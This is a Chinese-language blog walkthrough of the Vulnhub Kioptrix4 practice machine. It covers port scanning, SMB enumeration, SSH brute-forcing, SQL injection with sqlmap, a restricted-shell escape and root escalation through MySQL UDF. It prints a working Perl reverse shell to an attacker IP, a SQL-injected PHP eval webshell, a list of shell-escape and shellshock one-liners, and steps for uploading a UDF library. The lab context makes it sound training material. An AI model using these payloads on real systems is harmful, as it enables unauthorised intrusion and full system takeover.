Vulnhub Kioptrix4

Vulnhub Kioptrix4

0x01:端口扫描

主机发现

nmap -sn 192.168.231.0/24

image-20241127145640769

全端口扫描

nmap --min-rate 10000 -p- 192.168.231.139

image-20241127145740333

开放22ssh,80http,139netbios-ssn,445microsoft-ds,后两个是smb服务

端口 139(NetBIOS-SSN):用于通过NetBIOS协议在局域网内实现文件和打印机共享。虽然它是SMB的一部分,但它依赖于NetBIOS协议,通常用于较旧的Windows操作系统(Windows 95/98等)。

端口 445(Microsoft-DS):直接用于SMB协议的通信,绕过NetBIOS。它是现代Windows操作系统(如Windows 2000及更高版本)中用于SMB通信的标准端口。

UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.231.139

image-20241127150319444

也是一个smb服务

详细端口扫描

nmap -sT -sC -sV -O --min-rate 10000 -p22,80,139,445 192.168.231.139

image-20241127150508093

发现它可以guest匿名登录

漏洞扫描

nmap --script=vuln -p22,80,139,445 192.168.231.139

image-20241127152238617

0x02:smb渗透

smbclient -L 192.168.231.139

image-20241127151057406

我们再拿enum4linux扫一遍

enum4linux -a 192.168.231.139

image-20241127151353417

发现几个用户,我们尝试爆破ssh

hydra -l loneferret -P /usr/share/wordlists/rockyou.txt ssh://192.168.187.139 

发现爆不出来,遂放弃

0x03:web渗透

扫目录

dirsearch -u http://192.168.231.139

image-20241127154710800

image-20241127154735470

主页面测了一下sql注入

image-20241127154808674

报错,可以sql注入

我们先用bp抓包,保存到1.txt下

image-20241127161235437

sqlmap -r 1.txt --level 5
sqlmap -r 1.txt --leval 5 --dbs

image-20241127161324163

找到3个数据库,我们一番查找在member下找到

sqlmap -r 1.txt --leval 5 -D members --tabels

image-20241127161816429

sqlmap -r 1.txt --leval 5 -D members -T members --dump

image-20241127161904957

我们登录web页面

image-20241127162016634

两个用户都是这个界面

基本上没有可以利用的东西,怀疑是ssh,试一试

ssh john@192.168.231.139

image-20241127162559719

看来我们需要指定密钥

ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.231.139  

image-20241127162700220

成功进入

0x04:权限提升

我们发现这两个用户的权限非常低

image-20241127163044554

一些基本命令都执行不了,但是发现他能执行echo命令,我们尝试echo逃逸

image-20241127164205591

成功

sudo权限查看

sudo -l

image-20241127164335117

我们看看另外一个用户呢

image-20241127164706153

也是不行的

查看SUID位

find / -type f -perm -04000 -ls 2>/dev/null

image-20241127164820983

发现sudoedit设置了S位,先用这个命令查看是否有漏洞

sudoedit -s /

如果以 sudoedit: 开头的报错,那么表明存在漏洞

如果以 usage:开头的报错,则不存在

image-20241127165326253

发现存在漏洞,我们上传脚本

但是他没有python3和gcc,于是另寻其路

image-20241127172058154

image-20241127172130800

没有gcc的话,内核提权基本上就是不行了

看看自动任务

cat /etc/crontab

image-20241127173634766

也没有用

到这里,基本上普通的提权方式就试完了,我们现在来尝试不同的

我们先看mysql进程挂在哪个用户下的

ps -Af | grep mysql

image-20241127191707882

mysql位于root权限下,我们登陆一下

mysql -u root

发现是匿名登录

我们先查看secure_file_priv是否为空

show global variables like '%secure%';

image-20241127205938370

为空!这个时候我们可以先看看这台靶机上是否有现成的so文件,如果有,我们就可以不用在本机上编译了(本机上自带1518.c进行参考)

mysql库下的func表中查看

select * from mysql.func;

image-20241127210216009

是存在的,我们直接反弹shell

select sys_exec('perl -e \'use Socket;$i="192.168.231.138";$p=44444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'')

image-20241127211301941

成功!

0x05:思考反思

1.可以通过注入写马获取www-data的shell

' union select 1,2,"<?php eval($_POST['shell']);?>" into outfile '/var/www/ma.php'#

image-20241127213521569

image-20241127213501490

image-20241127213632331

2.limited shell

这里是通过echo逃逸的,还有其他逃逸的方法

https://blog.csdn.net/qq_25924971/article/details/128884687

常用逃逸命令

  1. 如果允许使用“/”,则可以运行/bin/sh、/bin/bash
  2. 如果允许使用cp命令,则可以复制/bin/sh到当前目录
  3. 使用ftp进行命令执行,执行 !/bin/sh
  4. 使用gdb进行命令执行,执行 !/bin/sh
  5. 使用more/man/less进行命令执行,执行 !/bin/sh
  6. 使用vim进行命令执行,执行 !/bin/sh
  7. 使用rvim执行:python,然后运行import os; os.system("/bin/bash )
  8. 使用scp,通过scp来传入自己脚本
  9. 使用awk,执行awk 'BEGIN {system("/bin/sh or /bin/bash")}'
  10. 使用find,执行find / -name test -exec /bin/sh or /bin/bash \

编程语言逃逸

  1. 使用except,执行except spawn sh then sh.
  2. 使用python,执行python -c 'import os; os.system("/bin/sh")'
  3. 使用php,执行php -a then exec("sh -i");
  4. 使用perl,执行perl -e 'exec "/bin/sh";‘
  5. 使用lua,执行os.execute('/bin/sh')
  6. 使用ruby,执行exec "/bin/sh"

高级技术

  1. 通过ssh,ssh username@IP - t "/bin/sh" or "/bin/bash"
  2. 通过ssh,ssh username@IP -t "bash --noprofile"
  3. 通过ssh连接,并使用shellshock,ssh username@IP -t "() { :; }; /bin/bash"
  4. 通过ssh连接,ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
  5. 通过git,执行git help status,然后执行!/bin/bash
  6. 通过pico,执行pico -s "/bin/bash",然后写入/bin/bash,并且执行CTRL+T
  7. 通过zip,执行zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
  8. 通过tar,执行tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash

3. nmap的smb用户枚举

nmap -sC --script=smb-enum-users 192.168.231.139

image-20241127215546987

4.如果没有自带的so文件,我们自己上传一遍

由于在靶机上没有gcc,我们在本地编译

/////本机
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
/////
/////靶机
wget 192.168.231.138:6666/raptor_udf2.so
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
#注意,此处的路径应该是当前文件所在的目录
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
#注意,此处的路径应该是`show variables like '%plugin%'`下的目录
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
/////

但是倒数第二步报错了。。。

看来还得是在靶机上编译。。。

5.linenum向量枚举较为完全,但是如果为内核提权的话,则使用linpeas.sh

posted @ 2024-11-27 23:25  kelec0ka  阅读(3)  评论(0编辑  收藏  举报